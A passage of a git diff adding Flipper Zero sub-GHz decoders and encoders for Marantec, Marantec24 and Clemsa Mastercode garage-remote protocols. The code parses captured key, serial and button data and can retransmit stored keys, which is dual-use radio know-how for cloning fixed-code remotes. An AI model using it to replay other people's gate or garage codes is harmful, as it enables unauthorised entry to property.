+    instance->btn = (instance->data >> 16) & 0xF;
+    instance->serial = ((instance->data >> 12) & 0xFFFFFF00) | ((instance->data >> 8) & 0xFF);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_marantec_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderMarantec* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_marantec_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_marantec_remote_controller(&instance->generic);
+        subghz_protocol_encoder_marantec_get_upload(instance);
+        instance->encoder.front = 0;
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_marantec_stop(void* context) {
+    SubGhzProtocolEncoderMarantec* instance = context;
+    instance->encoder.is_running = false;
+    instance->encoder.front = 0;
+}
+
+LevelDuration subghz_protocol_encoder_marantec_yield(void* context) {
+    SubGhzProtocolEncoderMarantec* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_marantec_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderMarantec* instance = malloc(sizeof(SubGhzProtocolDecoderMarantec));
+    instance->base.protocol = &subghz_protocol_marantec;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_marantec_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_marantec_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec* instance = context;
+    instance->decoder.parser_step = MarantecDecoderStepReset;
+    manchester_advance(
+        instance->manchester_saved_state,
+        ManchesterEventReset,
+        &instance->manchester_saved_state,
+        NULL);
+}
+
+void subghz_protocol_decoder_marantec_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec* instance = context;
+    ManchesterEvent event = ManchesterEventReset;
+
+    switch(instance->decoder.parser_step) {
+    case MarantecDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_marantec_const.te_long * 5) <
+                        subghz_protocol_marantec_const.te_delta * 8)) {
+            //Found header marantec
+            instance->decoder.parser_step = MarantecDecoderStepDecoderData;
+            instance->decoder.decode_data = 1;
+            instance->decoder.decode_count_bit = 1;
+            manchester_advance(
+                instance->manchester_saved_state,
+                ManchesterEventReset,
+                &instance->manchester_saved_state,
+                NULL);
+        }
+        break;
+    case MarantecDecoderStepDecoderData:
+        if(!level) {
+            if(DURATION_DIFF(duration, subghz_protocol_marantec_const.te_short) <
+               subghz_protocol_marantec_const.te_delta) {
+                event = ManchesterEventShortLow;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_marantec_const.te_long) <
+                subghz_protocol_marantec_const.te_delta) {
+                event = ManchesterEventLongLow;
+            } else if(
+                duration >= ((uint32_t)subghz_protocol_marantec_const.te_long * 2 +
+                             subghz_protocol_marantec_const.te_delta)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_marantec_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 1;
+                instance->decoder.decode_count_bit = 1;
+                manchester_advance(
+                    instance->manchester_saved_state,
+                    ManchesterEventReset,
+                    &instance->manchester_saved_state,
+                    NULL);
+            } else {
+                instance->decoder.parser_step = MarantecDecoderStepReset;
+            }
+        } else {
+            if(DURATION_DIFF(duration, subghz_protocol_marantec_const.te_short) <
+               subghz_protocol_marantec_const.te_delta) {
+                event = ManchesterEventShortHigh;
+            } else if(
+                DURATION_DIFF(duration, subghz_protocol_marantec_const.te_long) <
+                subghz_protocol_marantec_const.te_delta) {
+                event = ManchesterEventLongHigh;
+            } else {
+                instance->decoder.parser_step = MarantecDecoderStepReset;
+            }
+        }
+        if(event != ManchesterEventReset) {
+            bool data;
+            bool data_ok = manchester_advance(
+                instance->manchester_saved_state, event, &instance->manchester_saved_state, &data);
+
+            if(data_ok) {
+                instance->decoder.decode_data = (instance->decoder.decode_data << 1) | data;
+                instance->decoder.decode_count_bit++;
+            }
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_marantec_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_marantec_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_marantec_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_marantec_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_marantec_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec* instance = context;
+    subghz_protocol_marantec_remote_controller(&instance->generic);
+
+    uint8_t tdata[6] = {
+        instance->generic.data >> 48,
+        instance->generic.data >> 40,
+        instance->generic.data >> 32,
+        instance->generic.data >> 24,
+        instance->generic.data >> 16,
+        instance->generic.data >> 8};
+
+    uint8_t crc = subghz_protocol_marantec_crc8(tdata, sizeof(tdata));
+    bool crc_ok = (crc == (instance->generic.data & 0xFF));
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%lX%08lX\r\n"
+        "Sn: 0x%07lX \r\n"
+        "CRC: 0x%02X - %s\r\n"
+        "Btn: %X\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.serial,
+        crc,
+        crc_ok ? "Valid" : "Invalid",
+        instance->generic.btn);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/marantec.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/marantec.h
new file mode 100644
index 000000000..9a7b55b7e
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/marantec.h
@@ -0,0 +1,117 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_MARANTEC_NAME "Marantec"
+
+typedef struct SubGhzProtocolDecoderMarantec SubGhzProtocolDecoderMarantec;
+typedef struct SubGhzProtocolEncoderMarantec SubGhzProtocolEncoderMarantec;
+
+extern const SubGhzProtocolDecoder subghz_protocol_marantec_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_marantec_encoder;
+extern const SubGhzProtocol subghz_protocol_marantec;
+
+/**
+ * Allocate SubGhzProtocolEncoderMarantec.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderMarantec* pointer to a SubGhzProtocolEncoderMarantec instance
+ */
+void* subghz_protocol_encoder_marantec_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderMarantec.
+ * @param context Pointer to a SubGhzProtocolEncoderMarantec instance
+ */
+void subghz_protocol_encoder_marantec_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderMarantec instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_marantec_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderMarantec instance
+ */
+void subghz_protocol_encoder_marantec_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderMarantec instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_marantec_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderMarantec.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderMarantec* pointer to a SubGhzProtocolDecoderMarantec instance
+ */
+void* subghz_protocol_decoder_marantec_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderMarantec.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec instance
+ */
+void subghz_protocol_decoder_marantec_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderMarantec.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec instance
+ */
+void subghz_protocol_decoder_marantec_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_marantec_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_marantec_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderMarantec.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_marantec_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderMarantec.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_marantec_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_marantec_get_string(void* context, FuriString* output);
+
+/**
+ * Calculate CRC8 for Marantec protocol.
+ * @param data Pointer to the data buffer
+ * @param len Length of the data buffer
+ * @return CRC8 value
+ */
+uint8_t subghz_protocol_marantec_crc8(uint8_t* data, size_t len);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/marantec24.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/marantec24.c
new file mode 100644
index 000000000..b03fa2095
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/marantec24.c
@@ -0,0 +1,352 @@
+#include "marantec24.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolMarantec24"
+
+static const SubGhzBlockConst subghz_protocol_marantec24_const = {
+    .te_short = 800,
+    .te_long = 1600,
+    .te_delta = 200,
+    .min_count_bit_for_found = 24,
+};
+
+struct SubGhzProtocolDecoderMarantec24 {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderMarantec24 {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    Marantec24DecoderStepReset = 0,
+    Marantec24DecoderStepSaveDuration,
+    Marantec24DecoderStepCheckDuration,
+} Marantec24DecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_marantec24_decoder = {
+    .alloc = subghz_protocol_decoder_marantec24_alloc,
+    .free = subghz_protocol_decoder_marantec24_free,
+
+    .feed = subghz_protocol_decoder_marantec24_feed,
+    .reset = subghz_protocol_decoder_marantec24_reset,
+
+    .get_hash_data = subghz_protocol_decoder_marantec24_get_hash_data,
+    .serialize = subghz_protocol_decoder_marantec24_serialize,
+    .deserialize = subghz_protocol_decoder_marantec24_deserialize,
+    .get_string = subghz_protocol_decoder_marantec24_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_marantec24_encoder = {
+    .alloc = subghz_protocol_encoder_marantec24_alloc,
+    .free = subghz_protocol_encoder_marantec24_free,
+
+    .deserialize = subghz_protocol_encoder_marantec24_deserialize,
+    .stop = subghz_protocol_encoder_marantec24_stop,
+    .yield = subghz_protocol_encoder_marantec24_yield,
+};
+
+const SubGhzProtocol subghz_protocol_marantec24 = {
+    .name = SUBGHZ_PROTOCOL_MARANTEC24_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_marantec24_decoder,
+    .encoder = &subghz_protocol_marantec24_encoder,
+};
+
+void* subghz_protocol_encoder_marantec24_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderMarantec24* instance = malloc(sizeof(SubGhzProtocolEncoderMarantec24));
+
+    instance->base.protocol = &subghz_protocol_marantec24;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_marantec24_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderMarantec24* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderMarantec24 instance
+ */
+static void
+    subghz_protocol_encoder_marantec24_get_upload(SubGhzProtocolEncoderMarantec24* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    // Send key and GAP
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_marantec24_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false,
+                    (uint32_t)subghz_protocol_marantec24_const.te_long * 9 +
+                        subghz_protocol_marantec24_const.te_short);
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_marantec24_const.te_long * 2);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_marantec24_const.te_long);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false,
+                    (uint32_t)subghz_protocol_marantec24_const.te_long * 9 +
+                        subghz_protocol_marantec24_const.te_short);
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_marantec24_const.te_short * 3);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_marantec24_check_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->serial = instance->data >> 4;
+    instance->btn = instance->data & 0xF;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_marantec24_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderMarantec24* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_marantec24_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_marantec24_check_remote_controller(&instance->generic);
+        subghz_protocol_encoder_marantec24_get_upload(instance);
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_marantec24_stop(void* context) {
+    SubGhzProtocolEncoderMarantec24* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_marantec24_yield(void* context) {
+    SubGhzProtocolEncoderMarantec24* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_marantec24_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderMarantec24* instance = malloc(sizeof(SubGhzProtocolDecoderMarantec24));
+    instance->base.protocol = &subghz_protocol_marantec24;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_marantec24_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec24* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_marantec24_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec24* instance = context;
+    instance->decoder.parser_step = Marantec24DecoderStepReset;
+}
+
+void subghz_protocol_decoder_marantec24_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec24* instance = context;
+
+    // Marantec24 Decoder
+    // 2024 - @xMasterX (MMX)
+
+    // 2025 update - The protocol is not real marantec,
+    // it comes from chinese remote that pretends to be replica of original marantec, actually it was a cloner
+    // which had some thing written on it, which is uknown, but since its pretentding to be marantec,
+    // it was decided to keep the name of the protocol as marantec24 (24 bits)
+
+    // Key samples
+    // 101011000000010111001000 = AC05C8
+    // 101011000000010111000100 = AC05C4
+    // 101011000000010111001100 = AC05CC
+    // 101011000000010111000000 = AC05C0
+
+    switch(instance->decoder.parser_step) {
+    case Marantec24DecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_marantec24_const.te_long * 9) <
+                        subghz_protocol_marantec24_const.te_delta * 4)) {
+            //Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = Marantec24DecoderStepSaveDuration;
+        }
+        break;
+    case Marantec24DecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = Marantec24DecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = Marantec24DecoderStepReset;
+        }
+        break;
+    case Marantec24DecoderStepCheckDuration:
+        if(!level) {
+            // Bit 0 is long and short x2 timing = 1600us HIGH (te_last) and 2400us LOW
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_marantec24_const.te_long) <
+                subghz_protocol_marantec24_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_marantec24_const.te_short * 3) <
+                subghz_protocol_marantec24_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = Marantec24DecoderStepSaveDuration;
+                // Bit 1 is short and long x2 timing = 800us HIGH (te_last) and 3200us LOW
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_marantec24_const.te_short) <
+                 subghz_protocol_marantec24_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_marantec24_const.te_long * 2) <
+                 subghz_protocol_marantec24_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = Marantec24DecoderStepSaveDuration;
+            } else if(
+                // End of the key
+                DURATION_DIFF(duration, subghz_protocol_marantec24_const.te_long * 9) <
+                subghz_protocol_marantec24_const.te_delta * 4) {
+                //Found next GAP and add bit 0 or 1 (only bit 0 was found on the remotes)
+                if((DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_marantec24_const.te_long) <
+                    subghz_protocol_marantec24_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                if((DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_marantec24_const.te_short) <
+                    subghz_protocol_marantec24_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                // If got 24 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_marantec24_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = Marantec24DecoderStepReset;
+            } else {
+                instance->decoder.parser_step = Marantec24DecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = Marantec24DecoderStepReset;
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_marantec24_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec24* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_marantec24_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec24* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_marantec24_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec24* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_marantec24_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_marantec24_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderMarantec24* instance = context;
+
+    subghz_protocol_marantec24_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%06lX\r\n"
+        "Serial: 0x%05lX\r\n"
+        "Btn: %01X",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data & 0xFFFFFF),
+        instance->generic.serial,
+        instance->generic.btn);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/marantec24.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/marantec24.h
new file mode 100644
index 000000000..862eb7e2a
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/marantec24.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_MARANTEC24_NAME "Marantec24"
+
+typedef struct SubGhzProtocolDecoderMarantec24 SubGhzProtocolDecoderMarantec24;
+typedef struct SubGhzProtocolEncoderMarantec24 SubGhzProtocolEncoderMarantec24;
+
+extern const SubGhzProtocolDecoder subghz_protocol_marantec24_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_marantec24_encoder;
+extern const SubGhzProtocol subghz_protocol_marantec24;
+
+/**
+ * Allocate SubGhzProtocolEncoderMarantec24.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderMarantec24* pointer to a SubGhzProtocolEncoderMarantec24 instance
+ */
+void* subghz_protocol_encoder_marantec24_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderMarantec24.
+ * @param context Pointer to a SubGhzProtocolEncoderMarantec24 instance
+ */
+void subghz_protocol_encoder_marantec24_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderMarantec24 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_marantec24_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderMarantec24 instance
+ */
+void subghz_protocol_encoder_marantec24_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderMarantec24 instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_marantec24_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderMarantec24.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderMarantec24* pointer to a SubGhzProtocolDecoderMarantec24 instance
+ */
+void* subghz_protocol_decoder_marantec24_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderMarantec24.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec24 instance
+ */
+void subghz_protocol_decoder_marantec24_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderMarantec24.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec24 instance
+ */
+void subghz_protocol_decoder_marantec24_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec24 instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_marantec24_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec24 instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_marantec24_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderMarantec24.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec24 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_marantec24_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderMarantec24.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec24 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_marantec24_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderMarantec24 instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_marantec24_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/mastercode.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/mastercode.c
new file mode 100644
index 000000000..1dc924c7a
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/mastercode.c
@@ -0,0 +1,367 @@
+#include "mastercode.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+// protocol MASTERCODE Clemsa MV1/MV12
+#define TAG "SubGhzProtocolMastercode"
+
+#define DIP_P 0b11 //(+)
+#define DIP_O 0b10 //(0)
+#define DIP_N 0b00 //(-)
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c"
+
+#define SHOW_DIP_P(dip, check_dip)                         \
+    ((((dip >> 0x0) & 0x3) == check_dip) ? '*' : '_'),     \
+        ((((dip >> 0x2) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x4) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x6) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0x8) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0xA) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0xC) & 0x3) == check_dip) ? '*' : '_'), \
+        ((((dip >> 0xE) & 0x3) == check_dip) ? '*' : '_')
+
+static const SubGhzBlockConst subghz_protocol_mastercode_const = {
+    .te_short = 1072,
+    .te_long = 2145,
+    .te_delta = 150,
+    .min_count_bit_for_found = 36,
+};
+
+struct SubGhzProtocolDecoderMastercode {
